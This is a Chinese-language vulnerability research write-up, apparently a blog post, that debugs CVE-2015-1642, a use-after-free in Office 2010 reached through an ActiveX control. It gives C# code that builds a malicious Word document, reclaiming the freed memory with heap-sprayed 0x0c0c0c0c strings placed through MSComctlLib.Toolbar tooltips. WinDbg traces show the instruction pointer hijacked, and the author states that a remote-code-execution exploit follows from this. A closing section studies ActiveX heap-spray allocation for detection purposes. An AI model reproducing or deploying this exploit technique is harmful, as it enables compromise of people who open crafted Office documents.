既然是UAF,调试时必须定位到 Free 在哪里?Reuse 在哪里?被释放的 0x60 字节内存是否成功被利用代码中申请的对象成功占位。

 

Danny__Wei 提供的poc在笔者的环境中并不能顺利完成占位,我们来借助调试器看一下究竟发生了什么:

0:000> bp mmcndmgr+c526b "r eax; dc eax; !heap -p -a eax; g;"
0:000> bp ntdll!RtlFreeHeap "dd esp+c l1; g;"
0:000> g
...
002b0788  15821fd8
002b07ec  1581ffe8
002b07ec  12610ff8
002b0990  1fdbef78
002b328c  1f791fc0
002b53b8  1f740fa0 // 此处 1f740fa0 起始处的 0x60 字节被释放
002b53fc  1f73afe0
002b53fc  1f73cfe0
002b53b4  1a3d6b28
002b53d0  1adf0e00
002b53b0  1ae00f50
002b5398  1b65bde0
002b5398  19186de0
...

eax=1f740fc0
1f740fc0  abcdbbbb 00061000 0000001c 00001000  ................
1f740fd0  00000000 00000000 0043d77c dcbabbbb  ........|.C.....
1f740fe0  0065004b 00700065 0065004b 00740079  K.e.e.p.K.e.y.t.
1f740ff0  00700069 00550073 00000070 d0d0d0d0  i.p.s.U.p.......
1f741000  ???????? ???????? ???????? ????????  ????????????????
1f741010  ???????? ???????? ???????? ????????  ????????????????
1f741020  ???????? ???????? ???????? ????????  ????????????????
1f741030  ???????? ???????? ???????? ????????  ????????????????
    // 可以看到被释放的内存被程序重用了,在里面申请了 0x1C 字节的空间用以存储一个字符串,利用代码中的占位失效
    address 1f740fc0 found in
    _DPH_HEAP_ROOT @ 61000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                1f711af8:         1f740fe0               1c -         1f740000             2000   
    731c8e89 verifier!VerifierDisableFaultInjectionExclusionRange+0x00002f39
    770f5e26 ntdll!RtlDebugAllocateHeap+0x00000030
    770ba376 ntdll!RtlpAllocateHeap+0x000000c4
    77085ae0 ntdll!RtlAllocateHeap+0x0000023a
    64f1d4ac mso!Ordinal149+0x000074b2
    6431d41b mso!Ordinal638+0x0000001b
    643489eb mso!Ordinal7302+0x00000154
    6434880a mso!Ordinal2841+0x000000cb
    64347609 mso!Ordinal10095+0x000001e8
    64347392 mso!Ordinal6640+0x00000058
    643472fc mso!Ordinal1511+0x000000c7
    643d1501 mso!Ordinal3423+0x0000013b
    643d14cb mso!Ordinal3423+0x00000105
    643e20a0 mso!Ordinal424+0x000003d4
    643e27cd mso!Ordinal424+0x00000b01
    643e26d2 mso!Ordinal424+0x00000a06
    643e216b mso!Ordinal424+0x0000049f
    643e2027 mso!Ordinal424+0x0000035b
    643e1eef mso!Ordinal424+0x00000223
    643e1e89 mso!Ordinal424+0x000001bd
    643e1e5e mso!Ordinal424+0x00000192
    643e1db5 mso!Ordinal424+0x000000e9
    643e1d58 mso!Ordinal424+0x0000008c
    643e1c01 mso!Ordinal2030+0x00000155
    64410424 mso!Ordinal6386+0x000007ce
    64496d25 mso!Ordinal7002+0x00000095
    644c9d42 mso!Ordinal3938+0x000001f2
    66ae3244 wwlib!DllGetLCID+0x000471ce
    670a51cf wwlib!DllGetLCID+0x00609159
    66deff77 wwlib!DllGetLCID+0x00353f01
    672e5aa1 wwlib!DllGetLCID+0x00849a2b
    6745b6af wwlib!wdGetApplicationObject+0x0012c111


(fbc.fc0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=1f740fc0 ebx=002bdac8 ecx=abcdbbbb edx=000000c0 esi=1ab60fd0 edi=00000001
eip=694f526e esp=002bda2c ebp=002bda30 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010216
mmcndmgr!ATL::CComContainedObject<CTaskSymbol>::AddRef+0xe:
694f526e ff5104          call    dword ptr [ecx+4]    ds:0023:abcdbbbf=????????

根据上述观察,笔者推测利用代码中对 0x60 大小的字符串申请次数太少,于是笔者将 DefragmenHeap 函数的代码做了略微修改,如下:

        private void DefragmenHeap(Word.Document objDoc,  Word.InlineShape[] ocx)
        {
            string paddingB = "\u0c0c\u0c0c";
            while (paddingB.Length < 0x60 / 2)
            {
                paddingB += paddingB;
            }
            string objAllocB = paddingB.Substring(0, 0x5a  / 2);

            MSComctlLib.Toolbar[] tabArrayB = new  MSComctlLib.Toolbar[16];
            ocx[2] =  objDoc.InlineShapes.AddOLEControl("MSComctlLib.Toolbar");

            for (int j = 0; j < 16; j++)
            {
                tabArrayB[j] =  (MSComctlLib.Toolbar)ocx[2].OLEFormat.Object;
                tabArrayB[j].Buttons.Add().ToolTipText =  objAllocB;
            }
            MSComctlLib.Toolbar[] tabArrayC = new  MSComctlLib.Toolbar[16];
            ocx[3] =  objDoc.InlineShapes.AddOLEControl("MSComctlLib.Toolbar");

            for (int j = 0; j < 16; j++)
            {
                tabArrayC[j] =  (MSComctlLib.Toolbar)ocx[3].OLEFormat.Object;
                tabArrayC[j].Buttons.Add().ToolTipText =  objAllocB;
            }
            MSComctlLib.Toolbar[] tabArrayD = new  MSComctlLib.Toolbar[16];
            ocx[4] =  objDoc.InlineShapes.AddOLEControl("MSComctlLib.Toolbar");

            for (int j = 0; j < 16; j++)
            {
                tabArrayC[j] =  (MSComctlLib.Toolbar)ocx[3].OLEFormat.Object;
                tabArrayC[j].Buttons.Add().ToolTipText =  objAllocB;
            }
            MSComctlLib.Toolbar[] tabArrayE = new  MSComctlLib.Toolbar[16];
            ocx[5] =  objDoc.InlineShapes.AddOLEControl("MSComctlLib.Toolbar");

            for (int j = 0; j < 16; j++)
            {
                tabArrayC[j] =  (MSComctlLib.Toolbar)ocx[3].OLEFormat.Object;
                tabArrayC[j].Buttons.Add().ToolTipText =  objAllocB;
            }
            MSComctlLib.Toolbar[] tabArrayF = new  MSComctlLib.Toolbar[16];
            ocx[6] =  objDoc.InlineShapes.AddOLEControl("MSComctlLib.Toolbar");

            for (int j = 0; j < 16; j++)
            {
                tabArrayC[j] =  (MSComctlLib.Toolbar)ocx[3].OLEFormat.Object;
                tabArrayC[j].Buttons.Add().ToolTipText =  objAllocB;
            }
        }

同时在 button1_Click 函数进行了如下更改:

        private void button1_Click(object sender,  EventArgs e)
        {
            Word.Application objWord = new  Word.Application();
            objWord.Visible = true;

            object objMissing =  System.Reflection.Missing.Value;
            Word.Document objDoc =  objWord.Documents.Add(ref objMissing, ref objMissing, ref  objMissing, ref objMissing);

            // How to: Programmatically Insert Text into  Word Documents;
            //  https://msdn.microsoft.com/en-us/library/6b9478cs.aspx

            Word.InlineShape[] ocx = new  Word.InlineShape[8]; // 这里稍作扩大

            // ReplaceHeap(objDoc, ocx); // 这句屏蔽与否都没有关系
            ocx[1] =  objDoc.InlineShapes.AddOLEControl("MSComctlLib.Toolbar");

            DefragmenHeap(objDoc, ocx);

            HeapSpray(objDoc);

            // Null out the reference
            object filename = Application.StartupPath +  @"\test.docx";
            objDoc.SaveAs2(ref filename);
            objDoc.Close(ref objMissing, ref objMissing,  ref objMissing);
            objDoc = null;
            objWord.Quit(ref objMissing, ref objMissing,  ref objMissing);
            objWord = null;
        }

再次生成样本,笔者这次替换 activeX34.xml 中的 clsid 为漏洞 clsid,再次打开样本,在调试器中观察如下:

0:000> bp mmcndmgr+c526b
0:000> g
Breakpoint 0 hit
eax=063391e0 ebx=069a6158 ecx=657fc7b0 edx=000000c0 esi=0002c91c edi=00000001
eip=6956526b esp=003049cc ebp=003049cc iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
mmcndmgr!ATL::CComContainedObject<CTaskSymbol>::AddRef+0xb:
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\PROGRA~1\COMMON~1\MICROS~1\VBA\VBA7\VBE7.DLL -
6956526b 8b08            mov     ecx,dword ptr [eax]  ds:0023:063391e0=6e099c14

0:000> !heap -p -a 63391e0
    address 063391e0 found in
    _HEAP @ 1490000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        063391a8 000f 0000  [00]   063391c0    00060 - (busy)
        Trace: b421230
        770add6c ntdll!RtlAllocateHeap+0x00000274
        7674ea43 ole32!CRetailMalloc_Alloc+0x00000016
        6de72094 VBE7+0x00002094
        6e073fbf VBE7!rtUI1FromErrVar+0x00004515
        6e0753ac VBE7!rtUI1FromErrVar+0x00005902
        660fcf43 wwlib!wdGetApplicationObject+0x0004d9a5
        660fd18e wwlib!wdGetApplicationObject+0x0004dbf0
        65b295dc wwlib!DllGetLCID+0x0030d566
        65b8a017 wwlib!DllGetLCID+0x0036dfa1
        656d1866 wwlib!GetAllocCounters+0x000ab40e
        65871599 wwlib!DllGetLCID+0x00055523
        65863244 wwlib!DllGetLCID+0x000471ce
        65e251cf wwlib!DllGetLCID+0x00609159
        65b6ff77 wwlib!DllGetLCID+0x00353f01
        66065aa1 wwlib!DllGetLCID+0x00849a2b
        661db6af wwlib!wdGetApplicationObject+0x0012c111
        65b7ec6a wwlib!DllGetLCID+0x00362bf4
        656247b5 wwlib!DllGetClassObject+0x0000f161
        7549c4e7 USER32!gapfnScSendMessage+0x000001cf
        7549c5e7 USER32!gapfnScSendMessage+0x000002cf
        75491b31 USER32!PeekMessageA+0x0000018c
        75491b57 USER32!CallWindowProcW+0x0000001b
        73d6f443 Comctl32_73d40000!DPA_Sort+0x000002aa
        73d6f5ee Comctl32_73d40000!DefSubclassProc+0x00000092
        73d6f5a2 Comctl32_73d40000!DefSubclassProc+0x00000046
        6696e298 mso!Ordinal4894+0x0000074f
        6696def5 mso!Ordinal4894+0x000003ac
        73d6f5ee Comctl32_73d40000!DefSubclassProc+0x00000092
        73d6f490 Comctl32_73d40000!DPA_Sort+0x000002f7
        7549c4e7 USER32!gapfnScSendMessage+0x000001cf
        7549c5e7 USER32!gapfnScSendMessage+0x000002cf
        7549cc19 USER32!gapfnScSendMessage+0x00000901


0:000> bp ntdll!RtlFreeHeap ".if(poi(esp+0xc) = 0x063391c0){k;}.else{g;}"
0:000> bp mmcndmgr+c526b "r eax; dc eax; !heap -p -a eax; g;"
breakpoint 0 redefined

0:000> g
...
ChildEBP RetAddr  
00304d40 76756e6a ntdll!RtlFreeHeap
00304d54 6de720ad ole32!CRetailMalloc_Free+0x1c [d:\w7rtm\com\ole32\com\class\memapi.cxx @ 687]
WARNING: Stack unwind information not available. Following frames may be wrong.
00304d84 6e073fbf VBE7+0x20ad <- 可以看到原对象在这里被释放
00304db8 6e0753ac VBE7!rtUI1FromErrVar+0x4515
00304e48 660fcf43 VBE7!rtUI1FromErrVar+0x5902
00304f0c 660fd18e wwlib!wdGetApplicationObject+0x4d9a5
00304f34 65b295dc wwlib!wdGetApplicationObject+0x4dbf0
00304f64 65b8a017 wwlib!DllGetLCID+0x30d566
00305200 656d1866 wwlib!DllGetLCID+0x36dfa1
00305228 65871599 wwlib!GetAllocCounters+0xab40e
003065b4 65863244 wwlib!DllGetLCID+0x55523
00306600 65e251cf wwlib!DllGetLCID+0x471ce
00307b54 65b6ff77 wwlib!DllGetLCID+0x609159
00308c00 66065aa1 wwlib!DllGetLCID+0x353f01
00308c40 661db6af wwlib!DllGetLCID+0x849a2b
0030ac94 65b7ec6a wwlib!wdGetApplicationObject+0x12c111
0030d1e0 656247b5 wwlib!DllGetLCID+0x362bf4
0030d220 7549c4e7 wwlib!DllGetClassObject+0xf161
0030d24c 7549c5e7 USER32!gapfnScSendMessage+0x1cf
0030d2c4 75491b31 USER32!gapfnScSendMessage+0x2cf
eax=768466bc ebx=063391cc ecx=76847250 edx=b196b283 esi=063391c0 edi=00000000
eip=77082c6a esp=00304d44 ebp=00304d54 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
ntdll!RtlFreeHeap:
77082c6a 8bff            mov     edi,edi

0:000> bp ntdll!RtlFreeHeap ".if(poi(esp+0xc) = 0x063391c0){k;g;}.else{g;}"
breakpoint 1 redefined

0:000> g
eax=063391e0
063391e0  0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c  ................
063391f0  0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c  ................
06339200  0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c  ................
06339210  0c0c0c0c 0c0c0c0c 0c0c0c0c 00000c0c  ................
06339220  267ba19c c2009090 07663830 00000000  ..{&....08f.....
06339230  00000002 05020018 0000005a 0c0c0c0c  ........Z.......
06339240  0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c  ................
06339250  0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c  ................
    address 063391e0 found in
    _HEAP @ 1490000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        063391a8 000f 0000  [00]   063391c0    00060 - (busy)
        Trace: 766383c
        770add6c ntdll!RtlAllocateHeap+0x00000274
        7674ea43 ole32!CRetailMalloc_Alloc+0x00000016
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Windows\system32\OLEAUT32.dll -
        76674557 OLEAUT32!GetErrorInfo+0x00000636
        7667460b OLEAUT32!SysAllocStringLen+0x00000039
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Windows\system32\MSCOMCTL.OCX -
        275a703f MSCOMCTL!DLLGetDocumentation+0x0001c1d2 <- 可以看到被释放的 0x60 字节对象内存被利用代码成功占位
        275a7fea MSCOMCTL!DLLGetDocumentation+0x0001d17d
        275a30aa MSCOMCTL!DLLGetDocumentation+0x0001823d
        275cde30 MSCOMCTL!DllGetClassObject+0x00002c9a
        275cdea6 MSCOMCTL!DllGetClassObject+0x00002d10
        67060bb7 mso!Ordinal307+0x000e439a
        66f0de5e mso!Ordinal2049+0x00000061
        660fc107 wwlib!wdGetApplicationObject+0x0004cb69
        660fc223 wwlib!wdGetApplicationObject+0x0004cc85
        660fc330 wwlib!wdGetApplicationObject+0x0004cd92
        6e099d3a VBE7!rtcStrConvVar+0x0000960a
        6e073fbf VBE7!rtUI1FromErrVar+0x00004515
        6e0753ac VBE7!rtUI1FromErrVar+0x00005902
        660fcf43 wwlib!wdGetApplicationObject+0x0004d9a5
        660fd18e wwlib!wdGetApplicationObject+0x0004dbf0
        65b295dc wwlib!DllGetLCID+0x0030d566
        65b8a017 wwlib!DllGetLCID+0x0036dfa1
        656d1866 wwlib!GetAllocCounters+0x000ab40e
        65871599 wwlib!DllGetLCID+0x00055523
        65863244 wwlib!DllGetLCID+0x000471ce
        65e251cf wwlib!DllGetLCID+0x00609159
        65b6ff77 wwlib!DllGetLCID+0x00353f01
        66065aa1 wwlib!DllGetLCID+0x00849a2b
        661db6af wwlib!wdGetApplicationObject+0x0012c111
        65b7ec6a wwlib!DllGetLCID+0x00362bf4
        656247b5 wwlib!DllGetClassObject+0x0000f161
        7549c4e7 USER32!gapfnScSendMessage+0x000001cf
        7549c5e7 USER32!gapfnScSendMessage+0x000002cf


(aac.b64): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=063391e0 ebx=0030587c ecx=0c0c0c0c edx=000000c0 esi=0002c928 edi=00000001
eip=21212121 esp=003057dc ebp=003057e4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
21212121 ??              ???
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\PROGRA~1\MICROS~1\Office14\GENKO.DLL -

// crash 时观察 eax 的堆分配信息,可以观察到 eax 指向笔者所控制的堆块
0:000> !heap -p -a 63391e0
    address 063391e0 found in
    _HEAP @ 1490000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        063391a8 000f 0000  [00]   063391c0    00060 - (busy)
        Trace: 766383c
        770add6c ntdll!RtlAllocateHeap+0x00000274
        7674ea43 ole32!CRetailMalloc_Alloc+0x00000016
        76674557 OLEAUT32!GetErrorInfo+0x00000636
        7667460b OLEAUT32!SysAllocStringLen+0x00000039
        275a703f MSCOMCTL!DLLGetDocumentation+0x0001c1d2
        275a7fea MSCOMCTL!DLLGetDocumentation+0x0001d17d
        275a30aa MSCOMCTL!DLLGetDocumentation+0x0001823d
        275cde30 MSCOMCTL!DllGetClassObject+0x00002c9a
        275cdea6 MSCOMCTL!DllGetClassObject+0x00002d10
        67060bb7 mso!Ordinal307+0x000e439a
        66f0de5e mso!Ordinal2049+0x00000061
        660fc107 wwlib!wdGetApplicationObject+0x0004cb69
        660fc223 wwlib!wdGetApplicationObject+0x0004cc85
        660fc330 wwlib!wdGetApplicationObject+0x0004cd92
        6e099d3a VBE7!rtcStrConvVar+0x0000960a
        6e073fbf VBE7!rtUI1FromErrVar+0x00004515
        6e0753ac VBE7!rtUI1FromErrVar+0x00005902
        660fcf43 wwlib!wdGetApplicationObject+0x0004d9a5
        660fd18e wwlib!wdGetApplicationObject+0x0004dbf0
        65b295dc wwlib!DllGetLCID+0x0030d566
        65b8a017 wwlib!DllGetLCID+0x0036dfa1
        656d1866 wwlib!GetAllocCounters+0x000ab40e
        65871599 wwlib!DllGetLCID+0x00055523
        65863244 wwlib!DllGetLCID+0x000471ce
        65e251cf wwlib!DllGetLCID+0x00609159
        65b6ff77 wwlib!DllGetLCID+0x00353f01
        66065aa1 wwlib!DllGetLCID+0x00849a2b
        661db6af wwlib!wdGetApplicationObject+0x0012c111
        65b7ec6a wwlib!DllGetLCID+0x00362bf4
        656247b5 wwlib!DllGetClassObject+0x0000f161
        7549c4e7 USER32!gapfnScSendMessage+0x000001cf
        7549c5e7 USER32!gapfnScSendMessage+0x000002cf


0:000> dc 63391e0 // eax=063391e0, 此时eip会被劫持到 [eax+c] = 0c0c0c0c, 而0x0c0c0c0c地址处此时为0x21212121, 到这里笔者已经成功对eip进行了劫持
063391e0  0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c  ................
063391f0  0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c  ................
06339200  0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c  ................
06339210  0c0c0c0c 0c0c0c0c 0c0c0c0c 00000c0c  ................
06339220  267ba19c c2009090 07663830 00000000  ..{&....08f.....
06339230  00000002 05020018 0000005a 0c0c0c0c  ........Z.......
06339240  0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c  ................
06339250  0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c  ................

最后回答第3个问题,根据上面的代码已经知道,笔者在 DefragmenHeap 函数中一共用了80个大小为0x60字节的字符串去占位被释放的对象。这个视环境不同而异,读者可以按需自行调整。

 

通过上述调试,笔者成功借助公开资料和调试器劫持了 cve-2015-1642 样本的控制流,在此基础上就可以写出这个漏洞的 RCE 利用。这个漏洞比较好的一点就是我们可以在UAF之间对内存进行成功占位,对 office 来说这类可以成功利用的 UAF 还是比较少的。

Office ActiveX控件堆喷探究

在本文的最后,笔者单独讨论一下 office ActiveX控件堆喷射时的内存申请细节,这个问题实际上涉及一个更一般的问题:如何准确检出 office 堆喷射样本?也即,如何在动态执行过程中对 cve-2013-3906/cve-2015-1641/cve-2015-1642/cve-2016-7193/cve-2017-11826 这类漏洞样本的堆喷射行为进行准确标定。

 

每个 ActiveX[x].bin 文件在被映射到 office 进程空间时,有一处统一的内存申请点。

 

这里笔者以手头的某个自己构造的 cve-2015-1641 样本为例,为方便起见,我将负责堆喷射的 docx 文档单独抽取出来,抽取的 docx 文档内用1个 activeX1.bin 文件外加 40activeX[x].xml 文件进行堆喷射。

 

 

关于这部分的更多细节可以参考这篇文章:

 

https://www.greyhathacker.net/?p=911

 

其中 activeX1.bin 的大小为 0x20500 字节:

 

 

以下调试环境仍为 windows7 sp1 x86 + office 2010 + windbg

 

笔者在调试器中( +ust )将文档打开,查找满足上述大小的堆块:

0:012> !heap -flt s 205000
    _HEAP @ 1290000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        059d0018 40a00 0000  [00]   059d0020    205000 - (busy VirtualAlloc)
        05be0018 40a00 0a00  [00]   05be0020    205000 - (busy VirtualAlloc)
        05df0018 40a00 0a00  [00]   05df0020    205000 - (busy VirtualAlloc)
        06000018 40a00 0a00  [00]   06000020    205000 - (busy VirtualAlloc)
        06210018 40a00 0a00  [00]   06210020    205000 - (busy VirtualAlloc)
        06420018 40a00 0a00  [00]   06420020    205000 - (busy VirtualAlloc)
        06630018 40a00 0a00  [00]   06630020    205000 - (busy VirtualAlloc)
        06840018 40a00 0a00  [00]   06840020    205000 - (busy VirtualAlloc)
        06c80018 40a00 0a00  [00]   06c80020    205000 - (busy VirtualAlloc)
        06e90018 40a00 0a00  [00]   06e90020    205000 - (busy VirtualAlloc)
        070a0018 40a00 0a00  [00]   070a0020    205000 - (busy VirtualAlloc)
        072b0018 40a00 0a00  [00]   072b0020    205000 - (busy VirtualAlloc)
        074c0018 40a00 0a00  [00]   074c0020    205000 - (busy VirtualAlloc)
        076d0018 40a00 0a00  [00]   076d0020    205000 - (busy VirtualAlloc)
        078e0018 40a00 0a00  [00]   078e0020    205000 - (busy VirtualAlloc)
        07af0018 40a00 0a00  [00]   07af0020    205000 - (busy VirtualAlloc)
        07d00018 40a00 0a00  [00]   07d00020    205000 - (busy VirtualAlloc)
        07f10018 40a00 0a00  [00]   07f10020    205000 - (busy VirtualAlloc)
        08120018 40a00 0a00  [00]   08120020    205000 - (busy VirtualAlloc)
        08330018 40a00 0a00  [00]   08330020    205000 - (busy VirtualAlloc)
        08540018 40a00 0a00  [00]   08540020    205000 - (busy VirtualAlloc)
        08750018 40a00 0a00  [00]   08750020    205000 - (busy VirtualAlloc)
        08960018 40a00 0a00  [00]   08960020    205000 - (busy VirtualAlloc)
        08b70018 40a00 0a00  [00]   08b70020    205000 - (busy VirtualAlloc)
        08d80018 40a00 0a00  [00]   08d80020    205000 - (busy VirtualAlloc)
        08f90018 40a00 0a00  [00]   08f90020    205000 - (busy VirtualAlloc)
        091a0018 40a00 0a00  [00]   091a0020    205000 - (busy VirtualAlloc)
        093b0018 40a00 0a00  [00]   093b0020    205000 - (busy VirtualAlloc)
        095c0018 40a00 0a00  [00]   095c0020    205000 - (busy VirtualAlloc)
        097d0018 40a00 0a00  [00]   097d0020    205000 - (busy VirtualAlloc)
        099e0018 40a00 0a00  [00]   099e0020    205000 - (busy VirtualAlloc)
        09bf0018 40a00 0a00  [00]   09bf0020    205000 - (busy VirtualAlloc)
        09e00018 40a00 0a00  [00]   09e00020    205000 - (busy VirtualAlloc)
        0a010018 40a00 0a00  [00]   0a010020    205000 - (busy VirtualAlloc)
        0a220018 40a00 0a00  [00]   0a220020    205000 - (busy VirtualAlloc)
        0a430018 40a00 0a00  [00]   0a430020    205000 - (busy VirtualAlloc)
        0a640018 40a00 0a00  [00]   0a640020    205000 - (busy VirtualAlloc)
        0a850018 40a00 0a00  [00]   0a850020    205000 - (busy VirtualAlloc)
        0aa60018 40a00 0a00  [00]   0aa60020    205000 - (busy VirtualAlloc)
        0ac70018 40a00 0a00  [00]   0ac70020    205000 - (busy VirtualAlloc)
    _HEAP @ 10000
    _HEAP @ 1210000
    _HEAP @ 14d0000
    _HEAP @ 2280000
    _HEAP @ 27a0000
    _HEAP @ 2620000
    _HEAP @ 26a0000
    _HEAP @ 3cd0000
    _HEAP @ 26e0000
    _HEAP @ 3ea0000
    _HEAP @ 2790000
    _HEAP @ 42e0000
    _HEAP @ 5180000
    _HEAP @ 4580000
    _HEAP @ 5980000
    _HEAP @ 5930000
    _HEAP @ bf20000
    _HEAP @ bba0000
    _HEAP @ be70000
    _HEAP @ c590000
    _HEAP @ ecd0000
    _HEAP @ c840000
    _HEAP @ c7f0000

0:012> !heap -p -a 059d0020
    address 059d0020 found in
    _HEAP @ 1290000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        059d0018 40a00 0000  [00]   059d0020    205000 - (busy VirtualAlloc)
        Trace: 0244
        7750da1c ntdll!RtlLogStackBackTrace+0x00000007
        774a5ae0 ntdll!RtlAllocateHeap+0x0000023a
        774790dc ntdll!RtlpReAllocateHeap+0x00000863
        774bffcf ntdll!RtlReAllocateHeap+0x000002c5
        75aeed69 kernel32!GlobalReAlloc+0x0000017f
        761e2f36 ole32!CMemBytes::SetSize+0x0000002a <- 可以看到堆块是在这里申请的
        76219b50 ole32!CMemBytes::WriteAt+0x00000054
        67e7daec mso!Ordinal8882+0x000006f4
        67e7d6b8 mso!Ordinal8882+0x000002c0
        67e7d4f2 mso!Ordinal8882+0x000000fa
        67e7d48b mso!Ordinal8882+0x00000093
        67abb0de mso!Ordinal3479+0x00000418
        67a5cc1f mso!Ordinal2685+0x00000f9f
        6f619729 msxml6!DllRegisterServer+0x0004418c
        6f6174cf msxml6!DllRegisterServer+0x00041f32
        6f61a113 msxml6!DllRegisterServer+0x00044b76
        6f6180bb msxml6!DllRegisterServer+0x00042b1e
        67a5c502 mso!Ordinal2685+0x00000882
        67ab95f1 mso!Ordinal5215+0x0000078d
        67e7d33c mso!Ordinal7691+0x000000cb
        67e7d26d mso!Ordinal2270+0x00000016
        66df82d1 wwlib!DllGetLCID+0x0066c25b
        6667a2d3 wwlib!GetAllocCounters+0x000e3e7b
        665bf339 wwlib!GetAllocCounters+0x00028ee1
        67abb0de mso!Ordinal3479+0x00000418
        67a5cc1f mso!Ordinal2685+0x00000f9f
        6f619729 msxml6!DllRegisterServer+0x0004418c
        6f619707 msxml6!DllRegisterServer+0x0004416a
        6f619707 msxml6!DllRegisterServer+0x0004416a
        6f619707 msxml6!DllRegisterServer+0x0004416a
        6f619707 msxml6!DllRegisterServer+0x0004416a
        6f619707 msxml6!DllRegisterServer+0x0004416a

笔者在上述栈回溯信息中注意到了两个函数:ole32!CMemBytes::WriteAtole32!CMemBytes::SetSize。我们用 IDA 定位到 mso.dll(14.0.1063.1000) 中的相应调用点来看一下:

 

 

我们来看一下 ole32!CMemBytes::WriteAt 的伪代码,其中灰色调用处调用了 ole32!CMemBytes::SetSize 函数:

 

 

我们再来看一下 ole32!CMemBytes::SetSize 的伪代码,可以看到里面确实调用了 GlobalReAlloc 函数。

 

 

到这里,笔者有若干问题:

1. mso.dll里面该处调用每次都会调用 ole32!CMemBytes::WriteAt 函数吗?
2. 每次调用 ole32!CMemBytes::WriteAt 都是在写 ActiveX[x].bin 的数据吗?
3. 每个 ActiveX[x].bin 控件在被映射到内存时,其实际操作过程是怎样的?

我们先来探索第1个问题。

 

我们对 mso.dll 的上述调用点下断点,看一下每次调用的具体函数是什么:

0:004> bp mso+5edae9 "u poi(ecx+10) l1; g;"
0:004> g
ole32!CMemBytes::WriteAt [d:\w7rtm\com\ole32\ole232\base\memstm.cpp @ 1973]:
761e2e6c 8bff            mov     edi,edi
ole32!CMemBytes::WriteAt [d:\w7rtm\com\ole32\ole232\base\memstm.cpp @ 1973]:
761e2e6c 8bff            mov     edi,edi
ole32!CMemBytes::WriteAt [d:\w7rtm\com\ole32\ole232\base\memstm.cpp @ 1973]:
761e2e6c 8bff            mov     edi,edi
...
ole32!CMemBytes::WriteAt [d:\w7rtm\com\ole32\ole232\base\memstm.cpp @ 1973]:
761e2e6c 8bff            mov     edi,edi
ole32!CMemBytes::WriteAt [d:\w7rtm\com\ole32\ole232\base\memstm.cpp @ 1973]:
761e2e6c 8bff            mov     edi,edi
ole32!CMemBytes::WriteAt [d:\w7rtm\com\ole32\ole232\base\memstm.cpp @ 1973]:
761e2e6c 8bff            mov     edi,edi

通过日志可以观察到这个地方每次调用的都是 ole32!CMemBytes::WriteAt 函数。

 

分析到此处,笔者突然记起自己之前写过的一篇文章,里面谈到了在 office 2010 下借助 msxml6.dll 的符号打印解析的xml标签的断点,相关文章见:

 

https://www.anquanke.com/post/id/103080

 

我们来看一下 ole32!CMemBytes::WriteAt 函数是在解析到哪个标签时被调用的:

0:000> bp msxml6!Reader::ParseElementN+0x6a "du poi(ebp-20) lpoi(ebp-1c); gc"
0:000> bp mso+5edae9 "dd /c 6 esp l6; g;"
0:000> g
...
043589da  "v:path"
043589da  "o:lock"
043589c4  "v:shape"
043589d2  "v:imagedata"
043589c4  "w:control"
0435c4e6  "ax:ocx"
0020eab0  06389ac8 00000000 00000000 0020eafc 00001000 0020eae4

可以看到正是解析到 ax:ocx 标签后,开始调用 ole32!CMemBytes::WriteAt 映射 ActiveX 控件的内存。

 

接下来看一下第2个和第3个问题,我们来看一下 ole32!CMemBytes::WriteAt 的声明:

unsigned int __stdcall CMemBytes::WriteAt(
    CMemBytes *this,           // CMemBytes对象指针
    _ULARGE_INTEGER ulOffset,  // 内存偏移
    const void *pb,            // 源数据指针
    unsigned int cb,           // 待写字节数
    unsigned int *pcbWritten   // 一个指针,指向实际写的字节数
)

再次下断点,在函数调用前输出参数看一下:

0:011> bp mso+5edae9 "dd /c 6 esp l6; g;"
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Common Files\Microsoft Shared\office14\mso.dll -
0:011> g
(b9c.f88): Unknown exception - code e0000002 (first chance)
(b9c.f88): Unknown exception - code e0000002 (first chance)
002be6ac  00154400 00000000 00000000 002be6f8 00001000 002be6e0
002be6ac  00154400 00001000 00000000 002be6f8 00001000 002be6e0
002be6ac  00154400 00002000 00000000 002be6f8 00001000 002be6e0
002be6ac  00154400 00003000 00000000 002be6f8 00001000 002be6e0
002be6ac  00154400 00004000 00000000 002be6f8 00001000 002be6e0
002be6ac  00154400 00005000 00000000 002be6f8 00001000 002be6e0
002be6ac  00154400 00006000 00000000 002be6f8 00001000 002be6e0
002be6ac  00154400 00007000 00000000 002be6f8 00001000 002be6e0
002be6ac  00154400 00008000 00000000 002be6f8 00001000 002be6e0
002be6ac  00154400 00009000 00000000 002be6f8 00001000 002be6e0
...
